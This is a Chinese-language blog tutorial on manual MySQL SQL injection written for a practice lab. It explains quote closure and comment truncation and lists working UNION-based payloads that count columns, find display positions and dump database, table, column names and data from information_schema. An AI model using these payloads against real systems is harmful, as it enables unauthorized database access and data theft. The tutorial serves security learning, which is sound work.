vlambda博客
学习文章列表

mysql手工注入详析

前面我们搭建好了靶场环境,知道我们用的数据库为mysql数据库,所以我们在闯关之前,先详细了解了解sql注入和mysql手工注入的常用方法和特点。
一:SQL注入简述

什么是sql注入?
百度百科是这么写的:SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
我总结的sql注入:
    1. 输入点用户可控(即用户可以插入任意字符或sql语句)
    2. 应用程序未对用户输入进行过滤或过滤不严
    3. 用户输入被代入数据库进行查询
只要满足以上三点条件,对不起,您的数据库基本沦陷。。。。

二:mysql数据库介绍

用PHPmyadmin打开我们安装好的mysql数据库,可知mysql共有4个默认库。

其中对我们最重要的是 mysql自带的 information_schema数据库 。因为information_schema这个数据库保存了MySQL服务器所有数据库的信息。如 数据库名,数据库的表,表栏的数据类型与访问权限等
所以当我们想查询数据库信息时,只需要通过这个information_schema数据库就可以查询到。

三:mysql手工注入介绍

1. 注入流程:
    判断注入点--- 判断数据库名---判断表名---判断列名---爆数据
2. 常用内置函数
    version()                                     #mysql数据库版本
    system_user()                             #系统用户名
    user()                                          #数据库用户名
    current_user                               #当前用户名
    database()                                  #数据库名
    @@datadir                                 #数据库路径
    @@basedir                                #mysql安装路径
    @@version_conpile_os             #操作系统版本

        3. 关于闭合和截断

            mysql数据库查询语句一般为:

         select*from tables where id='$id';

      或者

      select * from tables where id='$id' limit 0,1;

     当然还有$id、"$id"、($id)、("$id")、(('$id'))等形式,因为我们所插入的语句是通过$id来进行传递的,所以我们要根据实际情况通过单引号、双引号或者括号等对插入语句的前面语句进行闭合,对传入参数后面的语句通过%23或者-- -等注释形式进行注释截断,让我们的语句能够正常执行。

4. 关于mysql注入的常用语句
猜字段数:
order by n   (如果n+1返回错误页面,n返回正常页面,则字段数为n)
显示位:

        union select 1,2,3,....,n

查所有数据库:
union select group_concat(schema_name),2,3 from information_schema.schemata 查所有数据库名
查所有表名:
union select group_concat(table_name),2,3 from information_schema.tables where table_schema=database() 查当前数据库所有表名)
查列名:
union select group_concat(column_name),2,3 from information_schema.columns where table_name=‘要查询的数据库名'
所有列 名,tablename的值可以为要查询的数据库名的ASCII码转换,或者也可写为'要查询的数据库名 '
查数据:
union select group_concat(要查询数据的列名),group_concat(要查询数据的列名),3 from 要查询的数据库.要查询的表


四:常见问题


1. 无法爆出显示位,在id前面加上"-"使其报错


2. 限制显示长度时,注入多个用户的数据可用 limit i,1


3. order by 和 top 1 不兼容,因为两者都是排序子句,而一般top 1 又在可控参数之前,所以无法使用order by